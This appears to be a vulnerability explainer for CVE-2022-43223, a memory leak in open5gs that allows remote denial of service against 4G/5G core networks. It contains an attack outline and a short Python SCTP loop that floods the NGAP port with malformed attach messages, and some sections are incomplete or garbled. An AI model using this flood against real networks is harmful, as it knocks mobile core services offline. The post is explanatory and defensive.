open5gs is a popular open-source project that builds 4G/5G mobile core network components. If you’re tinkering with private 5G, it might be running your test network right now. In October 2022, a new security issue was found in open5gs v2.4.11. This bug, CVE-2022-43223, is a memory leak hiding in the file ngap-handler.c. It turns out, a remote attacker can send a special "User Equipment (UE) attach" message, slowly eating up all your RAM and making open5gs crash. Here’s a breakdown of what this means, code samples from the real bug, and how hackers might exploit it.

The Vulnerability

Name: CVE-2022-43223  
Component: open5gs (version 2.4.11)  
File: ngap-handler.c  
Impact: Remote DoS (Denial of Service)  
How: By sending a specially crafted message mimicking a device (UE), attackers can cause a memory leak. Over time the server will run out of memory and crash.

Details, in Plain Language

The 5G core network has to deal with lots of devices connecting and disconnecting all the time. The ngap-handler.c handles messages between the core and the radios (the base stations and user devices like phones).

When a new device (called UE) attaches, it has to be tracked by the core. The bug comes from how the code processes certain messages. For every new attach request, the code allocates a chunk of memory to keep track of the new UE. But if something goes wrong—like if the message is invalid—this memory block isn't freed. No big deal if it happens once...but an attacker can spam the server with hundreds or thousands of these fake attachments and chew up all the RAM.

Code Snippet: The Leaky Part

Here’s a simplified version close to what you’ll find in open5gs 2.4.11’s ngap-handler.c (not actual proprietary code, but written to match what’s discussed in the patch):

// Alloc KDE object for new UE connection
ogsl_kde_t *kde = ogs_kde_alloc();
if (!kde) {
    // allocation failed, abort
    return;
}

// Process the UE attach message
if (!parse_ue_attach(payload, kde)) {
    // Oops, invalid message. We forget to free kde!
    // That means we've got a MEMORY LEAK here.
    return;
}
// ...rest of the code...

Notice that if parse_ue_attach() fails, we just return and don’t release the memory used by kde. In a constant attack, many requests fail and lots of memory blocks are orphaned.

Let’s get practical. Here’s a simple attack outline (no full attack code, but the idea)

1. Connect: Write a script or use a tool (like ngap_client or custom SCTP sender) to send lots of attach requests to open5gs’s NGAP endpoint.

Send Bad Data: Each message is malformed so the parser function fails.

3. Monitor Memory: As the messages hit open5gs, the server’s memory usage goes up but never comes back down.
4. Crash: Eventually, Linux runs out of memory and kills the open5gs process, causing a service outage.

Proof-of-Concept (pseudo-code, Python + sctp library)

import sctp

# Connect to open5gs NGAP endpoint (default port 38412)
sock = sctp.sctpsocket_tcp(socket.AF_INET)
sock.connect(('open5gs-ngap-ip', 38412))

# Malformed attach message (random bad bytes)
bad_attach_msg = b'\x00\x11\x22\x33\x44\x55\x66'

for i in range(100000):  # Send lots!
    sock.send(bad_attach_msg)
    print(f'Sent bad attach {i}')

In real life, you’d have to follow the NGAP message format *enough* so it reaches the parsing function but fails validation there.

open5gs v2.4.11 (and probably earlier).

- Any public/private 5G/4G test networks running this version.

Mitigations & Fixes

Fix: The open5gs team fixed the issue by freeing the memory on error. See this GitHub commit.

How to Patch:

References

- Open5GS Issue #1537
- NVD Advisory
- GitHub Commit with Fix

Summary

A tiny bug in open5gs' message handling means a remote attacker can exhaust your server’s memory and knock your 4G/5G core offline—just by sending lots of bad attach messages. If you run open5gs v2.4.11 (or earlier), update ASAP! Secure your networks, and watch your logs for weird attachment storms. Open source is powerful, but security patches matter!


*Stay safe, patch fast, and always monitor your open ports!*

Timeline

Published on: 11/01/2022 14:15:00 UTC
Last modified on: 11/02/2022 14:37:00 UTC